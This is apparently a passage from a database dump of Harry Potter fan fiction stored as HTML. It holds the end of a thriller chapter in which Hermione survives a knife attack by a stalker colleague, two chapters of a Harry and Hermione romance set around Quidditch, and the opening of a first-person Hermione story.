continuing.</p>\n\n<p><i>I think I&#8217;m in love with you. No, scratch that. I know I love you. I&#8217;m a bloody idiot if I don&#8217;t tell you that, because you&#8217;re one of the best parts of my life, and after last night, I think now that it can only get better.</i></p>\n\n<p><i>So here&#8217;s hoping that you aren&#8217;t too angry with me. If you&#8217;re not, please come over to my flat tonight at eight, and we can figure out where to go from there.</i></p>\n\n<p><i></i></p>\n\n<p><i>Love,</i></p>\n\n<p><i>Hermione</i></p>\n\n<p>She rolled up the parchment and went down to the Owlery before she could lose her nerve. As she watched a snowy white owl that looked remarkably like Hedwig fly off, Hermione could feel a weight lifted from her shoulders.</p>\n\n<p>***&nbsp;&nbsp; ***&nbsp;&nbsp; ***&nbsp;&nbsp; ***&nbsp;&nbsp; ***&nbsp;&nbsp; ***</p>\n\n<p>Harry walked down the street to the Ministry building, holding his cloak tightly around him. The brisk wind cut through his robes, but he felt even colder on the inside. He had gotten Hermione&#8217;s letter earlier, and had stuffed it in his pocket, not able to handle any more rejection from her. Try as he might, however, he was not able to become fully angry with her. His fingers curled around the rolled parchment and he pulled it from his pocket, staring at it as if it held the answers to the world&#8217;s biggest problems.</p>\n\n<p>&#8220;I should just read it and get it over with.&#8221; Harry mumbled to himself. He stepped inside the warmer Ministry building and moved off to the side of the lobby. Taking a deep breath, he unfurled the parchment and began to read. </p>\n\n<p>His eyes opened wide, and a smile started to spread over his face. &#8220;Hermione&#8230;.&#8221; He murmured. He had to fight hard to keep a stupid grin from growing, and to keep his voice down from shouting. Harry tucked the note back in his pocket and practically skipped down the hall to the hearing room. He opened the door and grinned widely at Neville and Dean, who looked back at him, puzzled.</p>\n\n<p>&#8220;You&#8217;re in a good mood today.&#8221; Neville stated. &#8220;Something go your way?&#8221;</p>\n\n<p>&#8220;You could say that.&#8221; Harry tossed his cloak on a chair. &#8220;So where&#8217;s Krum?&#8221;</p>\n\n<p>&#8220;On his way,&#8221; Dean replied. &#8220;Apparently he and his manager want to strike some sort of deal with us, but we&#8217;ll see.&#8221;</p>\n\n<p>&#8220;A deal?&#8221; Harry snorted. &#8220;Right.&#8221;</p>\n\n<p>&#8220;We&#8217;ll see what they say,&#8221; Neville said from the other side of the room. Harry nodded, his feet tapping on the floor. He was anxious now to get this over with, to get over to Hermione&#8217;s. Harry was dying to pull out her letter and read it again but not in front of his two friends.</p>\n\n<p>A few moments later Krum slouched in accompanied by his manager. Shively was a nervous, small man who kept wringing his hands together, then running them through the little bit of hair left at the top of his head.</p>\n\n<p>&#8220;Viktor has something to tell all of you,&#8221; Shively said, his voice wobbling. He prodded Krum in the back.</p>\n\n<p>&#8220;I vant to tell you vhere I vos that night,&#8221; Viktor replied dutifully.</p>\n\n<p>&#8220;That&#8217;s convenient.&#8221; Harry snapped. &#8220;All of a sudden you have an alibi?&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Neville looked at him with a warning glance. </p>\n\n<p>&#8220;Sorry,&#8221; Harry muttered. </p>\n\n<p>&#8220;I vas not vith Hermy-own-ninny.&#8221; Viktor said. &#8220;I vos at the Veela Snatch.&#8221;</p>\n\n<p>&#8220;You were at the Veela Snatch?&#8221; Dean asked. The Veela Snatch was a strip club near Knockturn Alley, it wasn&#8217;t the nicest of places, it was heard around Diagon Alley that the manager didn&#8217;t even use real Veela.</p>\n\n<p>&#8220;I vos there after Hermy-own-ninny would not haff dinner with me.&#8221; Viktor replied. &#8220;I stayed there until two in the morning.&#8221;</p>\n\n<p>Harry simply stared at him, not wanting to believe what he had heard. Neville strode out of the room, and silence fell over until he returned.</p>\n\n<p>&#8220;I&#8217;ve just owled for confirmation,&#8221; he said. &#8220;Were you there with anyone else?&#8221; His eyes revealed his frustration as well. A cold ball of fear was growing in Harry&#8217;s stomach; if Viktor was innocent&#8230; then the <i>real</i> killer was still out there. He was on pins and needles by the time the owl arrived back from the Veela Snatch, around seven thirty.</p>\n\n<p>Neville read the note with a completely blank face, and then motioned for Dean and Harry to follow him out of the room.</p>\n\n<p>&#8220;Krum was there, at the Veela Snatch.&#8221; Neville revealed in a low voice. &#8220;The manager and three dancers can vouch for him.&#8221;</p>\n\n<p>&#8220;Fuck!&#8221; Harry swore, smashing his fist against the wall. &#8220;Hermione went home this morning.&#8221;</p>\n\n<p>All three men paled. &#8220;All right, Harry, you go back to her flat and stay with her, or take her back to your place. Neville, you come with me&#8230;&#8221; his words were lost as Harry dashed away without bothering to retrieve his cloak.</p>\n\n<p>*****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****</p>\n\n<p>Hermione looked up at the clock on her wall; it was already half past six. &#8220;I can finish this tomorrow.&#8221; Butterflies arose in her stomach as she left her office.</p>\n\n<p>&#8220;Hi Ernie,&#8221; she poked her head into her friend&#8217;s office. &#8220;I&#8217;m leaving a bit early tonight.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Ernie smiled at her. &#8220;Heading back to Harry&#8217;s?&#8221;</p>\n\n<p>&#8220;No, actually, I&#8217;m back at my flat now.&#8221; Hermione replied. &#8220;He&#8217;s coming over later though.&#8221;</p>\n\n<p>&#8220;Well you two have fun.&#8221; Ernie waved at her. &#8220;I&#8217;ll see you tomorrow.&#8221;</p>\n\n<p>&#8220;See you.&#8221; Hermione turned and left the office, ignoring Pansy as she crossed the lobby.</p>\n\n<p>On her short walk home, she briefly wondered if Harry was going to come over that night like she had asked him to in her letter. He had not responded to her owl, so that could either mean he never wanted to see her again&#8230;.or that he was coming.</p>\n\n<p>&#8220;Bloody hell, Hermione.&#8221; She muttered to herself. &#8220;Of course he&#8217;ll come over&#8230; stop being so pessimistic.&#8221; Closing the door to her flat behind her, she took a deep breath. It was nice to be home, even though she missed being at Harry&#8217;s already.</p>\n\n<p>&#8220;No time for that.&#8221; She hung up her cloak and set her bag against the wall. Hermione moved into the bedroom, momentarily shivering as she remembered what happened there. She took a shower then got dressed in a pair of old jeans and a fitted light blue tee shirt.</p>\n\n<p>Hermione paced through her small living room, glancing every few minutes at the clock. &#8220;I&#8217;ve never wanted time to go by faster than I do now.&#8221; It was a quarter past seven, so Hermione went into her kitchen to make some tea. </p>\n\n<p>A loud knock at her front door made her jump, then chuckle at her nervousness. Butterflies erupted again as she went down the hallway, thinking that perhaps Harry had decided to come over early.</p>\n\n<p>&#8220;Ernie!&#8221; she said in surprise. &#8220;Hi&#8230; what are you doing here?&#8221;</p>\n\n<p>&#8220;I&#8217;m really sorry to bother you at home like this, but I had some information that I found from that research you gave me earlier today.&#8221; Ernie held up a sheaf of parchments.</p>\n\n<p>&#8220;It couldn&#8217;t wait until tomorrow?&#8221; Hermione asked.</p>\n\n<p>&#8220;Well,&#8221; Ernie gave her an embarrassed smile. &#8220;I was kind of excited about it&#8230;&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Hermione opened the door wider. &#8220;Why don&#8217;t you come on inside?&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; he said, stepping over the threshold. </p>\n\n<p>&#8220;I was just making some tea,&#8221; Hermione said, closing the door behind him. &#8220;Would you like a cup?&#8221;</p>\n\n<p>&#8220;Sure, that sounds great.&#8221; Hermione smiled and headed down the hallway. She didn&#8217;t notice when Ernie turned the deadbolt and then muttered a quick spell.</p>\n\n<p>&#8220;I&#8217;m expecting Harry in a little while,&#8221; she was saying. &#8220;But it&#8217;s nice to have company in the meantime.&#8221;</p>\n\n<p>&#8220;Yes, it is.&#8221; Ernie replied, entering her kitchen. He slipped his hand into his pocket and fingered the long, silver blade of the knife, the same knife he&#8217;d used before.</p>\n\n<p>&#8220;So, what was it you wanted to talk to me about?&#8221; Hermione set two mugs on the table. She sat down and he followed suit.</p>\n\n<p>&#8220;Well&#8230;.&#8221; Ernie fiddled with the cup. &#8220;I never got to talk to talk to you much about what happened.&#8221; </p>\n\n<p>Hermione shrugged. &#8220;They got Viktor Krum,&#8221; she said. &#8220;I mean, Harry told me tonight they&#8217;ll have all they need.&#8221;</p>\n\n<p>&#8220;Well that&#8217;s good.&#8221; Ernie replied, a strange smile on his face. &#8220;The last thing we need is to have someone like that wandering the streets.&#8221;</p>\n\n<p>She nodded. &#8220;It was terrifying though, I mean, he had a knife, he was going to kill me&#8230; apparently the fact that I didn&#8217;t want to date him&#8230;. Meant more than I thought it would.&#8221;</p>\n\n<p>&#8220;It did. It meant a lot.&#8221; Ernie said, the same strange smile still on his face. </p>\n\n<p>&#8220;Wha&#8230; what?&#8221; Hermione looked up at him. &#8220;What are you talking about?&#8221;</p>\n\n<p>&#8220;Your rejection&#8230; it hurts people.&#8221; Ernie replied, an odd glow in his eyes. &#8220;Did you ever stop to think about that, Hermione? That you hurt people&#8217;s feelings?&#8217;</p>\n\n<p>&#8220;Ernie&#8230;.&#8221; Hermione&#8217;s voice quavered. Her heart lurched against her ribcage as he stood up.</p>\n\n<p>&#8220;Apparently Krum handles rejection better than I do, I mean, he&#8217;s not in here right now is he?&#8221; Ernie spat. He reached into his pocket and pulled out the evil looking knife, pleased to see Hermione begin to tremble.</p>\n\n<p>&#8220;It was you?&#8221; her voice was almost a whisper. &#8220;You kidnapped me&#8230;. and&#8230; and&#8230; tried to ki&#8212;kill me?&#8221;</p>\n\n<p>&#8220;I would have succeeded too if you hadn&#8217;t fought back.&#8221; Ernie&#8217;s voice lowered and changed so it was the same tone as it had been when he&#8217;d held her in the house. &#8220;And this time&#8230;&#8221; Ernie reached into his other pocket and pulled out a baggy black mask.</p>\n\n<p>&#8220;Oh God&#8230;.&#8221; Hermione paled, realization hitting her like a curse. She had just invited a killer into her home. With that thought in mind, she pushed back her chair and ran out of the room, Ernie hot on her tail. </p>\n\n<p>She flew to the front door, trying desperately to turn the lock in her hands. Her fingers slipped off and she screamed when Ernie grabbed her around the waist.</p>\n\n<p>&#8220;Bitch!&#8221; he threw her up against the wall. Hermione fell upon the table and it smashed under her weight. She tried to get up but her back was hurting, and&#8230; and she was bleeding now, from somewhere she couldn&#8217;t see.</p>\n\n<p>&#8220;Ernie, please&#8230;&#8221; Hermione had tears in her eyes. &#8220;You don&#8217;t want to do this, please&#8230;&#8221;</p>\n\n<p>&#8220;I wouldn&#8217;t HAVE to come to this if you hadn&#8217;t ignored me for the past ten years!&#8221; Ernie bellowed. &#8220;If you&#8217;d only turned and seen me&#8230; I&#8217;ve been there for you; I got a job so I could be by you as much as possible&#8230; YET YOU STILL DON&#8217;T FUCKING SEE ME!&#8221;</p>\n\n<p>&#8220;Hermione!&#8221; a pounding at the door made them both turn. &#8220;Hermione let me in! Hermione&#8217;s IT&#8217;S NOT KRUM!&#8221; Harry smacked his fist against the door over and over again.</p>\n\n<p>&#8220;HARRY!&#8221; she screamed, lurching up off the floor, ignoring the pain in her back. &#8220;Harry HELP ME its ERNIE AND HE&#8217;S IN HERE WITH ME!&#8221;</p>\n\n<p>&#8220;SHUT UP!&#8221; Ernie shouted. He grabbed her again and pushed her back towards the kitchen. &#8220;Not another fucking word out of you!&#8221;</p>\n\n<p>Harry threw his whole body against the door, panic and rage burning inside him. The door wasn&#8217;t especially strong, but it was not budging. Harry plunged a hand in his robe and looked frantically for his wand.</p>\n\n<p>Hermione stumbled into the kitchen, falling over a chair as Ernie pushed her again from behind. He cupped his hand around her chin and she felt the cold blade of the knife against her throat. </p>\n\n<p>&#8220;Don&#8217;t move, and don&#8217;t say anything.&#8221; Ernie carefully traced the knife along her skin. &#8220;This could have all been so different, Hermione.&#8221; She whimpered in reply. &#8220;No really&#8230; you and I could have been so perfect together.&#8221;</p>\n\n<p>Harry could feel his throat grow hoarse as he screamed out every spell he knew to break whatever it was on the door. </p>\n\n<p>&#8220;Maybe you&#8217;re right Ernie,&#8221; Hermione said, her voice trembling.&nbsp; She inched her hand up towards the still steaming mug of tea before her on the table. &#8220;I haven&#8217;t been fair to you at all, have I?&#8221;</p>\n\n<p>&#8220;No, you haven&#8217;t.&#8221; Ernie replied. &#8220;It&#8217;s too late for changes though.&#8221; Hermione tried to shake her head no as she still reached for the tea. </p>\n\n<p>&#8220;No, come on Ernie&#8230; it&#8217;s never too late.&#8221; Her other hand sneaked up slowly to his arm. &#8220;I think we could make things work&#8230;.&#8221; In one swift, quick motion, she grabbed both the tea and his arm, and as Hermione yanked the knife away from her neck, she tossed the hot liquid directly into his eyes.</p>\n\n<p>The knife nicked her slightly as it fell from his grip, and even in her panic she didn&#8217;t miss a beat as she snatched it up with one hand, the other touching her cut lightly.</p>\n\n<p>&#8220;You stupid&#8230; fucking&#8230;.&#8221; Ernie was howling in pain as he rubbed at his eyes. He pulled his fists down and glared at her, his pupils large in his red eyes. &#8220;I&#8217;m going to enjoy killing you&#8230;&#8221;</p>\n\n<p>The knife shook in her grasp, nearly slipping out. Hermione held it out in what she hoped was a threatening manner, but it didn&#8217;t seem to faze Ernie as he grinned manically. </p>\n\n<p>&#8220;You think I&#8217;m scared of you with that?&#8221; he sneered. He made a quick motion towards her and Hermione shrieked. &#8220;You wouldn&#8217;t do anything to me&#8230;&#8221;</p>\n\n<p>&#8220;The HELL I wouldn&#8217;t!&#8221; Hermione screamed. </p>\n\n<p>&#8220;I&#8217;ve been waiting for this moment for a long time now&#8230;.&#8221; Ernie said in a low, dangerous tone. &#8220;Ever since you broke my heart&#8230; this has been all I&#8217;ve been able to think about&#8230;&#8221; he raised his arms. &#8220;Goodbye Hermione&#8230;.&#8221; He rushed at her and Hermione screamed again.</p>\n\n<p>Harry heard her scream as he finally came upon the spell that kept the deadbolt in place. He muttered the words and threw his weight against the door again, finally breaking through. &#8220;Hermione!&#8221; he called, sick with fear. &#8220;Please let her be okay, please don&#8217;t let her be dead&#8230;&#8221; the thoughts ran through his head as he flew towards her kitchen.</p>\n\n<p>Ernie Macmillan lay on top of Hermione, blood gushing and pooling around the two of them. Harry felt like he was going to pass out as he looked at her pale face, and the long, silver knife on the floor.&nbsp; &#8220;Her&#8230;Hermione&#8230;&#8221; he gasped out, falling on his knees next to her. He reached out and touched her hair, not caring that his hand was covered in blood. Her eyes were wide open, staring up at the ceiling. Harry let out a loud anguished cry&#8212; he was too late!</p>\n\n<p>Hermione tried to work her mouth, but found that she couldn&#8217;t. She blinked a couple of times, and was able to turn her head slightly. &#8220;Harry&#8230;.&#8221; She finally managed. </p>\n\n<p>&#8220;Hermione!&#8221; His head shot up and then he was pushing Ernie off her. &#8220;Oh God, Hermione you&#8217;re all right!&#8221; Harry hugged her tightly against him, not caring about the mess. She let out several small whimpers and he felt her arms go around his chest. &#8220;Shhhh&#8230;. It&#8217;s all right; it&#8217;s all over now&#8230;.&#8221;</p>\n\n<p>*** A Half Hour Later***</p>\n\n<p>Ministry Officials were crowded through Hermione&#8217;s flat, some covering the body, others finishing up reports. Hermione sat at her kitchen table, a warm wool blanket draped over her shoulders. Harry was trying to gently help her clean the now dried blood from her neck and arms. Her eyes were red rimmed, and she couldn&#8217;t stop sniffling.</p>\n\n<p>&#8220;I killed someone tonight, Harry.&#8221; Her voice was dull. </p>\n\n<p>&#8220;In self defence, Hermione,&#8221; Harry replied softly. &#8220;If you hadn&#8217;t killed him he would have murdered you.&#8221;</p>\n\n<p>She stared at the wall and nodded. &#8220;I guess you&#8217;re right,&#8221; she said sadly. Turning to look at Harry, Hermione felt her eyes well up with tears once more. &#8220;I really thought he was my friend, you know. All these years&#8230; he really hated me enough to want me dead.&#8221; Two tears ran down her cheeks and she brushed away impatiently at them.</p>\n\n<p>Harry moved his chair closer and put his fingers under her chin. &#8220;Look at me,&#8221; he commanded gently. &#8220;Ernie was messed up. You did nothing wrong, Hermione, nothing. You need to believe that.&#8221;</p>\n\n<p>Hermione nodded again and a tiny smile appeared on her lips. &#8220;I&#8217;m such a burden, aren&#8217;t I?&#8221;</p>\n\n<p>&#8220;No.&#8221; Harry returned her smile. &#8220;There&#8217;s no place I&#8217;d rather be right now.&#8221;</p>\n\n<p>&#8220;I&#8230; I&#8217;m really sorry,&#8221; Hermione began. &#8220;About last night&#8230; I mean&#8230; it was just so sudden&#8230;it was so scary&#8230;did you get my letter though?&#8221;</p>\n\n<p>&#8220;Yeah&#8230;&#8221; Harry dried his hands and ran his fingers through his hair. &#8220;Look, I know we were both a bit drunk&#8230; but I meant what I said to you. And yes, I got your letter&#8230;&#8221;</p>\n\n<p>Hermione looked at him for a moment and felt her heart lurch forward again, although this was a much more pleasant sensation than before. She leaned forward and gently pressed her lips against his, keeping them there for a few long moments. </p>\n\n<p>His green eyes locked onto hers and his smile was more genuine when they pulled away from each other.</p>\n\n<p>&#8220;This might take me awhile&#8230; you know&#8230; to get over.&#8221; Hermione&#8217;s hand found Harry&#8217;s. &#8220;Be there for me?&#8221;</p>\n\n<p>He squeezed her fingers lightly. &#8220;Always.&#8221;</p> '),
	(238, 1, ' <p>Chapter One</p>\n\n<p>Hidden Secrets</p>\n\n<p>&quot;PUDDLEMERE SCORES! And it&#8217;s thirty to twenty with Puddlemere in the lead,&quot; shouted the commentator.</p>\n\n<p>&quot;Yes!&quot; Harry did a loop in the air before resuming his search for the golden Snitch. A glint of gold&#8230;could it be? Yes, the Snitch was hovering just above the opposing team&#8217;s Keeper&#8217;s head. Harry made a dive for it, but then-</p>\n\n<p>&quot;Avery scores! The game is tied at thirty.&quot; It wasn&#8217;t like Wood to miss many blocks. Harry stole a glance at his former captain and immediately regretted it. He had lost the Snitch. Wood was staring at the stands and Avery, a Chaser on the opposing team, had taken advantage of it.</p>\n\n<p>Harry followed Wood&#8217;s eyes, and saw a very pretty witch sitting in the front row.</p>\n\n<p>&quot;Oliver!&quot; Harry yelled. Wood looked at Harry. &quot;Stop goggling at the girl and keep your eye on the game!&quot;</p>\n\n<p>&quot;Thanks, Harry!&quot; Oliver shouted back.</p>\n\n<p>Harry again went back to looking for the Snitch. He could see the other team&#8217;s Seeker out of the corner of his eye. She was following him. When she wouldn&#8217;t leg up, he decided to do the Wronski Feint.</p>\n\n<p>He went up. She went up. He dived down, going faster and faster on his Firebolt 3000. Just when everyone thought he was going to crash, he tore upwards through the sky, leaving the other Seeker to come crashing down. He was free to look for the Snitch without worrying about the other team&#8217;s Seeker catching it.</p>\n\n<p>There&#8230;he saw it next to Wood&#8217;s knee. He went pelting toward Wood (&quot;Harry, what are you doing?!&quot;) and grasped the minuscule winged ball in his hand.</p>\n\n<p>&quot;Harry Potter has caught the Snitch. And Puddlemere has won the game, 180 to 30. This is Sarin Hall, signing off.&quot;</p>\n\n<p>&quot;Great match today, Harry,&quot; Hermione said, not looking up from her book as he came into the house they shared with Ron, Ginny and Lavender.</p>\n\n<p>&quot;You were there?&quot; Harry squeaked. He had thought she was working at Flourish and Blotts, as she was the new manager there.</p>\n\n<p>&quot;Of course, silly. You&#8217;re my best friend. Why wouldn&#8217;t I go?&quot;</p>\n\n<p>Harry felt ashamed he&#8217;d even asked that question. He left it at that and headed towards the stairs so he could change out of his muddy Quidditch clothes. But when he passed Hermione, she grabbed his arm. He couldn&#8217;t help the tingles all over his body that were aroused from her touch. He looked at her. <i>She&#8217;s so beautiful</i>, he thought. <i>Stop it. She&#8217;s your best friend.</i> But he knew he had given in to those feelings long ago.</p>\n\n<p>&quot;Aren&#8217;t you going to answer my question?&quot; Hermione asked, breaking Harry&#8217;s train of thought.</p>\n\n<p>&quot;I&#8230;I&#8230;uh&#8230;I thought&#8230;&quot; Harry stammered.</p>\n\n<p>&quot;Come on, out with it,&quot; Hermione beckoned.</p>\n\n<p>&quot;I thought it was rhetorical,&quot; Harry said, coming up with an excuse on the spot.</p>\n\n<p>&quot;Well, it wasn&#8217;t rhetorical, so answer it. Why wouldn&#8217;t I have come to your Quidditch match?&quot;</p>\n\n<p>&quot;Because you had work?&quot;</p>\n\n<p>&quot;That&#8217;s never stopped me before.&quot; There was a long pause as if Hermione was contemplating something. &quot;Harry,&quot; she continued, &quot;I think you should get some rest you&#8217;re obviously not thinking straight.&quot;</p>\n\n<p>&quot;Yeah, I probably just need some rest,&quot; Harry lied, for he knew that it was much more than lack of sleep that stopped him from thinking clearly. He went up to his room anyway, just to humor her.</p>\n\n<p>Harry lay on his bed looking up at the ceiling.</p>\n\n<p>&quot;Bye, Harry!&quot; Hermione had said on their last day at Hogwarts in their fourth year. Then she kissed him. Harry brushed his fingers against his cheek, recalling how good that felt. That&#8217;s when it happened. That&#8217;s when he fell in love with Hermione.</p>\n\n<p>Hermione watched Harry walk up the stairs. She had felt the tingles too. She remembered when she started liking Harry back in fifth year. Hermione had just gotten back from Bulgaria, where she spent the summer with Victor Krum. Then he broke up with her.</p>\n\n<p>When she got back to school, she was so depressed that she wouldn&#8217;t talk to anyone; her friends, her teachers&#8230;she wouldn&#8217;t even raise her hand in class.</p>\n\n<p>Finally, Harry managed to make her tell him what was bothering her.</p>\n\n<p>&quot;Victor-broke-up-with-me-for-another-girl.&quot; Hermione had said in between sobs.</p>\n\n<p>&quot;Hermione, look at me.&quot; She tried, but her vision was so blurred from her tears that she couldn&#8217;t.</p>\n\n<p>&quot;I can&#8217;t,&quot; she said. He gently took her face in his hands and wiped her tears away with his thumbs.</p>\n\n<p>&quot;How about now?&quot; he asked, still holding her head up. She nodded. &quot;Listen to me, okay? No man is worth your tears, and the only one who is will never, ever make you cry.&quot; Then he hugged her for as long as he could hold on. She needed him and he would be there for her.</p>\n\n<p>&quot;Thanks, Harry. I feel much better now.&quot; Then she smiled and turned away.</p>\n\n<p>Hermione recalled that day so vividly; it was as if it were yesterday. Wouldn&#8217;t you remember the day you fell in love with your best friend?</p> '),
	(238, 2, ' <b></b><p><b>Disclaimer: </b>I do not own Harry Potter. If I did, I\'d be living in Scotland with my husband and kids, and wouldn\'t be still in college, writing simple fanfics. So, don\'t sue me. You probably wouldn\'t get much anyway.</p>\n\n<font size="4"><p></p>\n\n<p>Chapter Two</p>\n\n<p>Uncontrollable Outbursts</p>\n\n</font><p>&quot;Hermione&#8230;<i>Hermione</i>&#8230;HERMIONE!&quot; Hermione Granger was being rudely awakened by Ronald Weasley, if one could call it awakened when she wasn\'t even sleeping.</p>\n\n<p>&quot;What?&quot; Hermione said, snapping out of her reverie.</p>\n\n<p>&quot;You were just staring at the stairs, not blinking or anything.&quot;</p>\n\n<p>&quot;I was?&quot; Hermione squeaked. She had no idea how long she\'d been staring, or when Ron showed up.</p>\n\n<p>&quot;Uh&#8230;yeah!&quot; Ron paused. &quot;It\'s Harry again, isn\'t it?&quot; he said with a grin.</p>\n\n<p>&quot;Is it that obvious?&quot; Hermione sighed.</p>\n\n<p>&quot;Yeah it is,&quot; Ron said as he sat himself in the armchair and put his feet on the footstool with his arms behind his head. &quot;So when are you going to tell about this 5-year long obsession of yours anyway?&quot;</p>\n\n<p>&quot;You insufferable git! I can\'t tell him! Besides, it\'s only been four years, not five,&quot; Hermione countered before turning back to her book.</p>\n\n<p>&quot;If you never tell him, how will he ever know?&quot; Ron asked, before laughing silently.</p>\n\n<p>&quot;Is my Ronniekins I hear?!&quot; cried a squeaky voice from the kitchen. Lavender Brown came bouncing into the living room and sat on Ron\'s lap, giving him a big wet kiss on the mouth.</p>\n\n<p>Hermione groaned inwardly. Ron and Hermione had gone out with each other for a little while during their 6<sup>th</sup> year. Hermione finally decided that the relationship wouldn\'t work since she was pining over Harry. When Hermione broke up with Ron, he was devastated. She explained that she had a crush on Harry and couldn\'t have a relationship with Ron while having a crush on him. Hermione hated Ron being miserable, so she set him up with Lavender Brown and they\'d been together ever since. Unfortunately for Hermione (and Harry and Ginny), they were a little <i>too</i> together.</p>\n\n<p>&quot;Lav, sweetums,&quot; Ron said, &quot;have you heard? Our Hermione\'s been pining over our dear Harry again.&quot;</p>\n\n<p>&quot;Is that so?&quot; Lav said from her spot on Ron\'s lap with a grin on her face. &quot;You know Hermione, you really should tell him.&quot;</p>\n\n<p>&quot;I just went through this with Ron. I can\'t tell him!&quot; Hermione said in a huff. She slammed her book and dashed up the stairs with it before Lav or Ron had a chance to say anything more about her crush on Harry.</p>\n\n<p>Hermione made her way up to her room, but on her way she noticed that the door to Harry\'s was slightly ajar. <i>It wouldn\'t hurt if I just took a little peek. </i>She cautiously opened the door just enough to see him lying peacefully on his bed. <i>Oh, he looks so cute when he\'s sleeping. If only I could be in that bed with him&#8230;</i></p><i>\n\n</i><p>Harry listened again. This time he was sure he heard footsteps, and they were on their way up the stairs. He quickly closed his eyes and took a sleeping position. He heard his door open more than it already was and he opened one eye enough to look at his intruder but still look closed. It was Hermione. Oh what he wouldn\'t give to have her come over and share his bed. He closed his eye again and decided that he really should get to sleep so he would be well rested for practice tomorrow.</p>\n\n<p>*************</p>\n\n<p>&quot;So Oliver,&quot; Harry said as the Puddlemere United team was getting ready for practice the next day, &quot;did you ever find out who that mystery girl was at the match yesterday?&quot;</p>\n\n<p>Oliver looked at Harry in confusion. &quot;What \'mystery girl?\'&quot;</p>\n\n<p>&quot;The one you were goggling at, of course! The one who made you miss the saves.&quot;</p>\n\n<p>Now the whole team had turned to look at Oliver. &quot;Oh&#8230;well, no&#8230;not really&#8230;no.&quot; Oliver stammered as someone knocked on the door of the locker room.</p>\n\n<p>&quot;Who is it?&quot; one of the Beaters asked of whomever was standing on the other side of the door.</p>\n\n<p>&quot;Oh!&quot; exclaimed a female voice. &quot;My name is Ariella Chickering. I\'m a sports reporter for the <i>Daily Prophet</i>. May I please speak to Oliver Wood?&quot;</p>\n\n<p>Oliver let out a sigh. &quot;Don\'t worry, guys,&quot; he whispered. &quot;I\'ll get rid of her quickly so she doesn\'t mess up our practice.&quot; He made his way to the locker room door and opened it. What he saw made his jaw drop and left him utterly speechless. This reporter was the witch he saw in the stands yesterday. <i>She\'s even more beautiful up close</i>, he thought.</p>\n\n<p>&quot;Hi, Mr. Wood. As I said before, I\'m Ariella. I don\'t believe we\'ve met,&quot; she introduced as she held out her hand.</p>\n\n<p>Oliver took her outstretched hand and shook it. &quot;No, I don\'t believe we have,&quot; he said with a smile.</p>\n\n<p>&quot;Mr. Wood, I\'d like to get an interview with you, if that\'s at all possible,&quot; Ariella said as she released his hand.</p>\n\n<p>&quot;Yeah, sure.&quot;</p>\n\n<p>&quot;Is 5 o\'clock on Wednesday at the Leaky Cauldron okay?&quot;</p>\n\n<p>&quot;It\'s a date&#8230;. Uh, I mean&#8230;. It\'s an interview.&quot;</p>\n\n<p>Ariella blushed. &quot;Then I\'ll see you on Wednesday.&quot; She disapparated with a pop.</p>\n\n<p>&quot;Way to go, Oliver!&quot; and catcalls could be heard throughout the locker room as he closed the door and stepped back into the confines of the room.</p>\n\n<p>&quot;Oh, sod off! All of you!&quot; Oliver said as he went to get his broomstick.</p>\n\n<p>&quot;I think it\'s great that you\'ve found someone, Oliver,&quot; Harry said as he retrieved his broomstick as well.</p>\n\n<p>&quot;You want me to see if she has a friend for you, Harry?&quot;</p>\n\n<p>&quot;No thanks, I\'ve already got my eye on Herm- &#8230; er, someone.&quot; Harry blushed at his almost confession and quickly went outside to the pitch.</p>\n\n<p>&quot;Hey Potter!&quot; Oliver called as he ran to catch up with Harry.</p>\n\n<p>&quot;What?&quot; Harry said innocently.</p>\n\n<p>&quot;You like Hermione, don\'t you?&quot;</p>\n\n<p>Harry sighed. <i>Oh well, might as well tell him the truth.</i> &quot;Yeah. But can you not tell anyone? I don\'t want anyone to know.&quot;</p>\n\n<p>&quot;Sure Potter.&quot; Oliver smiled. &quot;I\'ll keep it a secret.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<b></b><p><b>A/N:</b> Thanks for all the reviews, guys, and I\'m sorry it took me <b><i>so</i></b> long to update. Lost floppy disks, no hard drive copies, and severe writer\'s block kept me from continuing. But I\'m glad you\'ve decided to keep reading. It means a lot to me. And please review! Constructive criticism and praise is always helpful in keeping me going. Love ya lots, hpchk86</p>\n\n '),
	(239, 1, '\n\n<p>Disclaimer: These characters and the story of Harry Potter are not mine.</p>\n\n<b><p align="CENTER">The Middle of Understanding</p>\n</b>\n<p>	Everyone loved him, I mean he was the Boy-Who-Lived. It was inevitable that I would love him too. Yet unlike most other people, it took me longer to realize. I wonder at times as to what exact event caused me to recognize my love for him. I Hermione Granger fell in love with the great Harry Potter. He started out as a hero, to a friend, a supporter, then finally a lover. This is my journey of the hardship, responsibilities, and reality of life. Maybe some will think it&#8217;s boring, others trivial, or even just another girl falls in love with boy story. Well I warn you now; you&#8217;re in for a long ride. So either get out or close the door because I&#8217;m not stopping anytime soon.</p>\n<p>	I was never one to express much personal feelings about myself. Growing up an only child, with two parents as dentist, I withdrew into books. These characters, plots, and stories never required much effort in social conduct. This left me to be an outcast in my early stage of childhood. My parents and their friends became the main encounter I had with people. Though I had challenging conversations and intense ideals of the world, I never had a &quot;normal&quot; childhood.</p>\n<p>	Instead of playing with Barbie and Ken, I would be with William the Historian learning about world history. I didn&#8217;t eat sugar filled sweets because my parents did not allow it. Also I grew up in libraries, galleries, and museums because my parent&#8217;s clinic was in Central London. </p>\n<p>	Then when I was accepted into Hogwarts School of Witchcraft and Wizardry, I thought it was my chance to meet people like me. Well that did not turn out the way I thought. I was lonely every night until Halloween my first year. Sadly my people skills were nothing and it reduced me to be crying in the girl&#8217;s lavatory. So when I saw that ugly gigantic troll, I thought fate even wanted me gone. Suddenly my two unlikely saviors came to my rescue. From that day on, Ron Weasley and Harry Potter became my best friends.</p>\n<p>	Of course it was a long time before I started to loosen up. Though I had made two good friends, I still had trouble with other people. My mother said it was better those two boys saved me because I would never be myself with girls. Even though they meant it as a joke, it was exactly how I felt years later. With four years of being known as a smart, bossy, clever, and walking library, I never thought about relationships or love. Then he walked into my life, during my fourth year. Throughout the Triwizard Tournament, I was so worried about Harry, stressed about Ron&#8217;s jealousy, and missing my parents, I didn&#8217;t 